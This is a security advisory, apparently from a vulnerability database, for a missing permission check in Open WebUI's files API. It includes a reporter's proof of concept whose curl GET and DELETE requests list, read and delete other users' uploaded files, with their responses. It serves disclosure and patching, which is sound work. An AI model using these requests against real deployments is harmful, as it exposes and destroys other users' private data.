GHSA-R8WH-8M7R-FH33
Vulnerability from github – Published: 2026-05-14 20:15 – Updated: 2026-05-19 15:58Summary
A missing permission check in all files related API endpoints allows any authenticated user to list, access and delete every file uploaded by every user to the platform.
Details
All files/ related endpoints lack permission checks.
Listing all files
For example, let's see how file listing is implemented:
https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/routers/files.py#L107-L110
https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/models/files.py#L26
Notice the endpoint depends only on an authenticated user check, no file filtering is done to match the uploaded files' user_id to the requesting user.
This problem repeats itself throughout the various route implementations, allowing any user to perform actions on any file. Some note worthy functions:
Accessing the content of any file
https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/routers/files.py#L173-L193
Deleting any file
https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/routers/files.py#L224-L241
PoC
Configuration
- I ran a clean install of the latest version using one of the docker one-liners on an Ubuntu desktop:
docker run -d -p 3000:8080 -v ollama:/root/.ollama -v open-webui:/app/backend/data --name open-webui --restart always ghcr.io/open-webui/open-webui:ollama - I created an admin user
- I created a second user to act as the threat actor with no elevated permissions
- Admin user uploaded
test.txtin a conversation with model - Admin user uploaded
mydeepest_secret.docxin a conversation with model
Listing files uploaded by other users
- Login to threat actor
- Perform a GET request to
/api/v1/files/
curl -X 'GET' \
'http://localhost:3000/api/v1/files/' \
-H 'accept: application/json'
[
{
"id": "b9733e9c-0714-4425-8915-d0361bf66dfc",
"user_id": "c0c16e7a-6f81-4863-8b71-e56e2e389cf1",
"filename": "b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt",
"meta": {
"name": "test.txt",
"content_type": "text/plain",
"size": 4,
"path": "/app/backend/data/uploads/b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt"
},
"created_at": 1724709202
},
{
"id": "8f058e18-fec1-4b9f-bb4e-c17f39d03c98",
"user_id": "c0c16e7a-6f81-4863-8b71-e56e2e389cf1",
"filename": "8f058e18-fec1-4b9f-bb4e-c17f39d03c98_mydeepest_secret.docx",
"meta": {
"name": "mydeepest_secret.docx",
"content_type": "application/vnd.openxmlformats-officedocument.wordprocessingml.document",
"size": 6485,
"path": "/app/backend/data/uploads/8f058e18-fec1-4b9f-bb4e-c17f39d03c98_mydeepest_secret.docx"
},
"created_at": 1724710236
}
]
Accessing other users' file content
- Login to threat actor
- Perform a GET request to
/api/v1/files/{id}/content
curl -X 'GET' \
'http://localhost:3000/api/v1/files/b9733e9c-0714-4425-8915-d0361bf66dfc/content' \
-H 'accept: application/json'
wow
Deleting another user's uploaded file
- Login to threat actor
- Perform a DELETE request to
/api/v1/files/{id}
curl -X 'DELETE' \
'http://localhost:3000/api/v1/files/8f058e18-fec1-4b9f-bb4e-c17f39d03c98' \
-H 'accept: application/json'
{
"message": "File deleted successfully"
}
- We will verify this action by furthur listing all files as mentioned above:
[
{
"id": "b9733e9c-0714-4425-8915-d0361bf66dfc",
"user_id": "c0c16e7a-6f81-4863-8b71-e56e2e389cf1",
"filename": "b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt",
"meta": {
"name": "test.txt",
"content_type": "text/plain",
"size": 4,
"path": "/app/backend/data/uploads/b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt"
},
"created_at": 1724709202
}
]
Impact
Having access to user uploaded files, regardless of ownership or permission level, breaks the confidentiality of sensitive data stored by users. Furthermore, the ability to delete other user's uploaded files disrupts the integrity of the system.
Personal Notice
In case this submission does get recognized and numbered as a CVE I'd perfer to be credited by my full name - Yuval Gal, instead of my GitHub handle.
Thanks in advance and have a good week (:
Credits
This vulnerability was reported by Yuval Gal (GitHub: @vi11ain).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.3.15"
},
"package": {
"ecosystem": "PyPI",
"name": "open-webui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.3.16"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45301"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-14T20:15:53Z",
"nvd_published_at": "2026-05-15T22:16:53Z",
"severity": "HIGH"
},
"details": "### Summary\nA missing permission check in all files related API endpoints allows any authenticated user to list, access and delete every file uploaded by every user to the platform.\n\n### Details\nAll `files/` related endpoints lack permission checks.\n\n#### Listing all files\nFor example, let\u0027s see how file listing is implemented:\nhttps://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/routers/files.py#L107-L110\nhttps://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/models/files.py#L26\nNotice the endpoint depends only on an authenticated user check, no file filtering is done to match the uploaded files\u0027 `user_id` to the requesting user.\n\nThis problem repeats itself throughout the various route implementations, allowing any user to perform actions on any file.\nSome note worthy functions:\n#### Accessing the content of any file\nhttps://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/routers/files.py#L173-L193\n#### Deleting any file\nhttps://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/routers/files.py#L224-L241\n\n### PoC\n#### Configuration\n1. I ran a clean install of the latest version using one of the docker one-liners on an Ubuntu desktop:\n`docker run -d -p 3000:8080 -v ollama:/root/.ollama -v open-webui:/app/backend/data --name open-webui --restart always ghcr.io/open-webui/open-webui:ollama`\n2. I created an admin user\n3. I created a second user to act as the threat actor with no elevated permissions\n4. Admin user uploaded `test.txt` in a conversation with model\n5. Admin user uploaded `mydeepest_secret.docx` in a conversation with model\n\n#### Listing files uploaded by other users\n1. Login to threat actor\n2. Perform a GET request to `/api/v1/files/`\n```sh\ncurl -X \u0027GET\u0027 \\\n \u0027http://localhost:3000/api/v1/files/\u0027 \\\n -H \u0027accept: application/json\u0027\n```\n```json\n[\n {\n \"id\": \"b9733e9c-0714-4425-8915-d0361bf66dfc\",\n \"user_id\": \"c0c16e7a-6f81-4863-8b71-e56e2e389cf1\",\n \"filename\": \"b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt\",\n \"meta\": {\n \"name\": \"test.txt\",\n \"content_type\": \"text/plain\",\n \"size\": 4,\n \"path\": \"/app/backend/data/uploads/b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt\"\n },\n \"created_at\": 1724709202\n },\n {\n \"id\": \"8f058e18-fec1-4b9f-bb4e-c17f39d03c98\",\n \"user_id\": \"c0c16e7a-6f81-4863-8b71-e56e2e389cf1\",\n \"filename\": \"8f058e18-fec1-4b9f-bb4e-c17f39d03c98_mydeepest_secret.docx\",\n \"meta\": {\n \"name\": \"mydeepest_secret.docx\",\n \"content_type\": \"application/vnd.openxmlformats-officedocument.wordprocessingml.document\",\n \"size\": 6485,\n \"path\": \"/app/backend/data/uploads/8f058e18-fec1-4b9f-bb4e-c17f39d03c98_mydeepest_secret.docx\"\n },\n \"created_at\": 1724710236\n }\n]\n```\n\n#### Accessing other users\u0027 file content\n1. Login to threat actor\n2. Perform a GET request to `/api/v1/files/{id}/content`\n```sh\ncurl -X \u0027GET\u0027 \\\n \u0027http://localhost:3000/api/v1/files/b9733e9c-0714-4425-8915-d0361bf66dfc/content\u0027 \\\n -H \u0027accept: application/json\u0027\n```\n```\nwow\n```\n\n#### Deleting another user\u0027s uploaded file\n1. Login to threat actor\n2. Perform a DELETE request to `/api/v1/files/{id}`\n```sh\ncurl -X \u0027DELETE\u0027 \\\n \u0027http://localhost:3000/api/v1/files/8f058e18-fec1-4b9f-bb4e-c17f39d03c98\u0027 \\\n -H \u0027accept: application/json\u0027\n```\n```json\n{\n \"message\": \"File deleted successfully\"\n}\n```\n3. We will verify this action by furthur listing all files as mentioned above:\n```json\n[\n {\n \"id\": \"b9733e9c-0714-4425-8915-d0361bf66dfc\",\n \"user_id\": \"c0c16e7a-6f81-4863-8b71-e56e2e389cf1\",\n \"filename\": \"b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt\",\n \"meta\": {\n \"name\": \"test.txt\",\n \"content_type\": \"text/plain\",\n \"size\": 4,\n \"path\": \"/app/backend/data/uploads/b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt\"\n },\n \"created_at\": 1724709202\n }\n]\n```\n\n### Impact\nHaving access to user uploaded files, regardless of ownership or permission level, breaks the confidentiality of sensitive data stored by users. Furthermore, the ability to delete other user\u0027s uploaded files disrupts the integrity of the system.\n\n### Personal Notice\nIn case this submission does get recognized and numbered as a CVE I\u0027d perfer to be credited by my full name - Yuval Gal, instead of my GitHub handle.\n\nThanks in advance and have a good week (:\n\n## Credits\n\nThis vulnerability was reported by **Yuval Gal** (GitHub: @vi11ain).",
"id": "GHSA-r8wh-8m7r-fh33",
"modified": "2026-05-19T15:58:03Z",
"published": "2026-05-14T20:15:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-r8wh-8m7r-fh33"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45301"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-webui/open-webui"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Open WebUI: Missing permission check in files API allows authenticated users to list, access and delete every uploaded file"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.